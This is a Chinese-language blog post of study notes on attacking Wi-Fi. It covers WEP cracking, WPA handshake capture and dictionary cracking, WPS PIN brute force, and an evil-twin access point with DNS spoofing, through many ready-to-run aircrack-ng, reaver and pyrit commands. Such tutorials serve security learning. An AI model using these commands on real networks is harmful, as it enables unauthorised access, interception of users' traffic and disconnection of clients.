zoukankan      html  css  js  c++  java
  • 无线攻击

    open无加密网络

    • 无任何加密机制
    • 所有数据都可以被嗅探到
    • STA和AP只协商拼配参数即可连入网络

    无线如何不加任何加密机制的话,安全性太差。即使不对你进行嗅探也可以对你进行中间人攻击、地址欺骗等方式

    无线安全根源

    • 802.11是基于无线电波发射信息
    • 嗅探侦听是主要问题
    • 加密机制是必要手段

    Wired Equivalent Privacy(WEP):有线等效加密 802.11标准的一部分,发布后不久被发现存在安全漏洞

    WIFI Protected Access(WPA)取代WEP:802.11i标准

    1、WEP攻击

    wep是共享密钥的wlan加密方式,这种加密机制及密码算法上面是存在先天的漏洞和问题的;比较容易破解,安全性不高,简直就可以说彻底不安全!现在几乎已经被WPA的加密方式取代。但还是了解一下啊

    使用RC4对称加密算法(加解密用一个密钥)加密流量内容、CRC32算法检查数据的完整性。

    标准采用使用24位initialization vector(IV起始向量)

    • 加密:对明文流和密钥流记性XOR(二进制异或)计算
    • 解密:对密文流和密钥流进行XOR计算

     RC4算法加密流程:

     24位IV值随机数+无线密码结合利用KSA算法生成一个初始的状态表、再通过PRGA算法生成一个密钥流;数据流是由数据和完整校验算法CRC32生成ICV(起始check value),数据流与密钥流一位对一位,然后异或运算生成密文消息 ,加上IV和keyid 包头信息。

    RC4解密流程:

     从包中直接拿到IV值,根据key id提取key内容组合用KSA和PRDA算法生成密钥流,再和密文流取异或生成原数据,再生成CRC32校验。

    wep共享密钥破解

    • IV并非完全随机
    • 每224个包可能会出现一次IV重用
    • 收集大量IV之后找出相同IV及其对应密文,比对分析得出共享密码

    因为ARP回包中包含IV,所以IV足够多的情况下,任何复杂程度的wep密码都可以被破解

    监听抓到加密前的明文chellege和这个明文加密后的密文 ,有这两个东西就可以进行二进制亦或计算,得到密钥流(xor),当然这个密钥流是以密文存在,有这个就可以与AP建立关联。

    只有建立关联才能进行收集ARP注入。

    -攻击:

    -抓包--
    
    airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free
    抓的IVZ值在#date显示
    
    --主动抓包:打断--适用于有有效客户端在线的情况
    
    假如都已连接无新的连接,就打断现有连接(Deauthentication),重连时窃取
    aireplay -0 10 -a AP_MAC -c Client_MAC wlan0mon
    
    -0:Deauthentication
    10:打断数目,当为0时则冲突攻击,迫使客户端不断下线
    -c:后接指定客户端MAC,不设置默认AP所有客户端打掉
    每攻击发送128个包,64个给AP,64个给客户端
    --伪造身份认证进行关联--适用于无有效客户端在线 areplay-ng -1 60 -e CMCC-FREE -y wep-01-EC-ER-FF-2E-3F.xor -a EC:DE:23:4R:5T:12 -h 1Q:2W:3E:4R:4T:1D wlan0mon -1:第一种攻击方式 60:是每60秒攻击一次 -e:目标AP -y:密钥流(用以产生关联) -a:AP的MAC地址 -h:黑客的mac地址 --执行ARP重放-- aireplay-ng -3 -b AP_MAC -h hacker_mac wlan0mon 此处也可打断,出arp 要等#Date至少10万20万 (大概10分钟),一边抓一遍分析尝试破解
    64bit密钥:25万
    128bit密钥:150万
    --尝试解密-- aircrack-ng CMCC-FREE-01.cap 很快就得到结果~

    -1攻击

        之前我一直也没弄明白为什么能够进行伪连接,既然我们并不知道WEP密码,那么如何进行连接?伪连接的伪主要体现在什么地方?这个应该是和AP的工作机制有关.我自己的理解是,在客户端与AP通信的时候,客户端需要在AP那里登记自己的MAC地址,这样AP才会接受这个MAC地址的网卡产生的数据包进行下一步的工作.一般WEP验证过程为:

            1.客户端发给AP认证请求

            2.AP发回挑战字串

            3.客户端利用WEP密码加密字串返回给AP

            4.AP对返回结果进行本地匹配判断是否通过认证. 伪连接实际上就是进行了第1步,此后AP就登记了客户端的MAC地址,此时AP等待的是客户端返回挑战字串的加密包,对于攻击者,此时AP已经能够接受各种伪装生成的数据包并对其作出反应了.这一步对于无客户端的-2,-4,-5攻击相当重要.很明显,这样伪连接并不产生任何ARP包,同时也不会获得正确的WPA/WPA2握手包.

    注意事项:

    WPAWPA2 不支持 Fake authentication

     二、WPA攻击

    WiFi-Protected Access

    802.11i组为提高无线安全,开发了两个新的链路层加密协议:

    • Temporal Key Integrity Protocol(TKIP)----wpa1(较之wep可动态改变密钥)
    • Counter Mode with CBC-MAC(CCMP---wpa2

    WPA加密两种安全类型

    • WPA个人:使用预设共享密钥实现身份验证
    • WPA2企业:使用802.1x和Radius服务器实现AAA

    不是说算法强大就使用弱密码。

    WPA1与WPA2比较

     

    #Temporal Key Integrity Protocol (TKIP) 4

    #Counter Mode with CBC-MAC (CCMP) 5

     密钥交换:

    无线网路设计用于一组无线设备通信

    • 关联到同一AP的设备共享无线信道
    • 单播、广播、组播
      • 安全特性要求不同
      • 单播通信需要单独密钥加密通信双方流量:pairwise key-对偶密钥(PTK)
      • 组播通信需要信任域内所有成员共享的同一密钥:Group key-组密钥(GTK)

     只有一种密码破解的方法:wpa不存在wep的弱点

    • CPUGPU资源
    • 时间
    • 字典质量
      • 网上共享的
      • 泄露密码
      • 区号、手机号段、生日、百家姓、名人
      • 工具自制字典

    PSK破解过程

    1. 启动monitor
    2. 开始抓包并保存
    3. Deauthentication 攻击获取4步握手信息
    4. 使用字典暴力破解
     #抓包
    airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free
    
    #打断重连
    aireplay -0 2 -a AP_MAC -c Client_MAC wlan0mon
    
    #跑包
    aircrack-ng -w /user/share/wordlists/zidian.txt CMCC-free.cap

     重中之中-关键就是跑包就是看字典强不强大~

    几种其他字典破解工具自行参考:

    • airolib
    • JTR
    • cowpatty
    • pyrit

    cowpatty破解密码

    使用密码字典(普通)cowpatty -r wpa.cap -f password.lst -s kifi

    使用彩虹表(PMK)

    • genpmk -f password.lst -d pmkhash(名称随意) -s kifi
    • cowpatty -r wpa.cap -d pmkhash -s kifi

    所以这个优势在于基于AP名先生成hash,再用cowpatty破解速度极快了,适用于不该AP名老更换密码的wifi密码破解。

    Pyrit破解密码

    与airolib、cowpatty相同,支持基于预计算的PMK提高破解速度

    独有优势:

    • 出CPU还可利用GPU算法加速生成PMK
    • 本身支持抓包,无需airodump抓包
    • 也支持传统的读取airodump抓包获取四步握手的方式

    只抓取wpa四次握手过程包

    • pyrit -r wlan0mon -o wpapyrit.cap stripLive
    • pyrit -r wpapyrit.cap analyze

    从airodump抓包导入并筛选

    • pyrit -r wpa.cap -o wpaprit.cap strip

    使用密码字典直接破解:

    • pyrit -r wpapyrit.cap -i password.lst -b <AP MAC> attack passthrough

    数据库模式破解:

    • 默认使用基于文件的数据库,支持连接SQL,将计算的PMK存入数据库
    • 查看默认数据库状态:pyrit eval
    • 导入密码字典:pyrit -i password.lst import passwords (剔除了不合格的密码)
    • 指定ESSID:pyrit -e kifi create essid
    • 计算PMK: pyrit batch  (发挥GPU计算能力)
    • 破解密码: pyrit -r wpaprit.cap -b <AP MAC> attack.db

    还可以拷贝到WINDOWS下使用EWSA:

    传送门:软件云盘链接:https://pan.baidu.com/s/1_If_fkefIIVzfncLP5kU8Q
    提取码:u7hg

     还有一种攻击场景是【无AP情况下的WPA密码破解】

     伪造一个AP,  pmk=essid+PSK,只用4步握手中的前两步就行!

    有些鸡肋,还要跟踪人家到真实的物理环境去。

    airbase-ng 可用你的无线网卡创造一个AP出来

    
    
    airbase-ng --essid KFC -c 11 wlan0mon       #open
    
    airbase-ng --essid KFC -c 11 -w key wlan0mon     #wep
    airbase-ng --essid KFC -c 11 -z 2 wlan0mon       #wpa1
    airbase-ng --essid KFC -c 11 -Z 4 wlan0mon    #wpa2
    
    

    这样会在你的系统生成一个at0的网卡

    三、WPS攻击

     wps(wireless protected setup)

    • 是WIFI联盟2006年开发的一项技术
      • 通过PIN码来简化无线接入操作,无需记住PSK
      • 路由器和网卡各按一个按钮就能接入无线
      • PIN码是分为前后各4位的2段共8位数字
    • 安全漏洞
      • 2011年被发现安全漏洞
      • 接入发起方可以根据路由器的返回信息判断前4位是否正确
      • 而PIN码的后4位只有1000种定义的组合(最后一位是检验值checksum)
      • 所以全部穷举破解只需要11000次尝试(15~20个小时)
      • 标准本身没有设计锁定机制,目前多个厂商已实现锁定机制

     只要你的路由器支持WPS,即使没有客户端在使用这个wps,攻击者也可以利用pin出来。

    本来旨在提高安全和便利性,反而降低了安全成了大的隐患。

    拿到PIN-->PSK 就是一操作很快就出来。

    早期的PIN码更弱智,有的路由器厂商直接用网卡MAC前6位转换为16进制就是PIN码.....(如C83A350B00C),现在已经没了。

    攻击过程:

    #启动侦听后扫描带WPS功能的AP:
    
    wash -C -i wlan0mon
    airodump-ng wlan0mon --wps
    
    #爆破PIN码
    
    reaver -i wlan0mon -b <AP mac> -c <channel> -vv
    
    
    #秒破PIN码
    reaver -i wlan0mon -b <AP mac> -vv -K 1
    pixiewps
    只适用于固定厂商的芯片,成功率极低
    
    #当出来PIN码以后...
    
    reaver -i wlan0mon -b <AP mac> -vv -p 12345678

    #注意 现在几乎带WPS的厂商都实现了锁定机制,所有在穷举PIN码时应注意限速,所以-reaver会10次一停。

    #牛刀小试-综合自动化无线密码破解工具 wifite

     四、伪造双胞胎AP

     

     攻击流程:

     #伪造假AP
    airbase-ng -a <AP mac可选> -c 11 --essid KFC-FREE wlan0mon
    
    #此时ifconfig -a 会发现多了一个网卡 at0
    #设置网桥,ip地址要给网桥
    apt-get install bridge-utils
    
    brctl addbr bridge      //delbr
    brctl addif bridge eth0
    brctl addif bridge at0
    ifconfig eth0 0.0.0.0 up
    ifconfig at0 0.0.0.0 up
    ifconfig bridge 192.168.1.10 up
    
    #增加路由,或者配置个DHCP服务
    netstat -nr route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
    #启动ip转发
    echo 1 > /proc/sys/net/ipv4/ip_forward

    #dns欺骗
    dnsspoof -i bridge -f dnsspoof.hosts
      192.168.1.10  *.microsoft.com(欺骗网址)

    #开启apache服务

    apache2ctl start

     五、无线侦查-kismet

    一个集成化的探测周围AP并尝试破解并标记在谷歌地图上的工具。

    (开发者已停止更新维护)

    •  KISmet
    • kismet*.nettxt
    kismet*.pcapdump
    gpsd -n -N -D4 /dev/ttyUSB0
    giskismet -x Kismet-*.netxml
    giskismet -q "select * from wireless" -o gps.kml

    需要购买一个USB无线模块

    安装谷歌地球:

    http://dl.goole.com/dl/earth/client/current/google-earth-stable_current_amd64.deb
    dpkg -i google-earth64.deb
    apt-get -f install

    导入kml文件就可。

     

    为美好的生活奋斗!
  • 相关阅读:
    解决 “invalid resource directory name”, resource “crunch”
    Unable to resolve target 'android-19'
    android SDK安装容易出错的原因
    Eclipse启动认定SDK地址,出现Error executing aapt
    解决Android SDK Manager更新下载速度慢
    Vue框架
    JSON
    Django之组件--cookie与session
    Django之组件--中间件
    Django之组件--forms
  • 原文地址:https://www.cnblogs.com/ethtool/p/12195377.html
Copyright © 2011-2022 走看看